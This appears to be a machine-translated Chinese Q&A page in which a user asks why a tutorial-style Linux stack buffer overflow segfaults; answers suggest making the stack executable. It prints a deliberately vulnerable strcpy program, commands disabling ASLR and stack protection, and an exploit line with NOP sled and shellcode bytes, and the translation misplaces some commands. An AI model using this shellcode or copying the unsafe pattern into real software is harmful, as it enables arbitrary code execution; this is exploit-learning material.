我正在观看有关如何在linux上执行缓冲区溢出的教程。一切都很好,直到我尝试运行最后的东西。我搜索并搜索谷歌但发现没有任何效果。
My Buffer Overflow Exploitable C Code(exploitable.c):
#include <string.h>
int main(int argc, char** argv)
{
char buf[500];
strcpy(buf, argv[1]);
return 0;
}
我如何编译:
echo 0 > /proc/sys/kernel/randomize_va_space
我使用gdb运行它并发现这个命令应该给我一个gcc -fno-stack-protector -mpreferred-stack-boundary=2 -o exploitable exploitable.c
shell:
/bin/bash
然而这不起作用。
在gdb中运行我发现./exploitable $(ruby -e 'print "\x90" * 212 + "\xbb\xac\x02\x93\xb0\xda\xdb\xd9\x74\x24\xf4\x5a\x29\xc9" + "\xb1\x0e\x31\x5a\x15\x83\xc2\x04\x03\x5a\x11\xe2\x59\x33" + "\x5a\x81\x7a\xc3\xbf\x52\xd8\xe1\xc0\xf9\x2b\xa2\x59\xaf" + "\x4d\x3a\x77\x33\x18\x5d\xef\x9c\x69\xca\xf0\x8a\xa2\x68" + "\x98\x24\x35\x8f\x08\x51\x4f\x50\xad\xa1\x60\x32\xc4\xcf" + "\x51\xd0\x77\x63\xc5\x14\x2f\xd0\x9c\xf4\x02\x56" + "\x90" * 210 + "\x44\xf1\xff\xbf"')
已正确设置为$eip
(我的第一轮nops中间)。出于某种原因,这给了我一个SIGSEGV错误:
我不知道自己是否做错了什么,或者是否还有一个故障安全我必须关闭。
答案 0 :(得分:3)
也许是gcc选项(对于链接器)-z execstack
来禁用NX。
答案 1 :(得分:0)
您应该使堆栈可执行。这可能是你问题的一部分。
此外,如果您想要一个关于缓冲区溢出的良好参考,我建议您阅读Smashing the Stack for Fun and Profit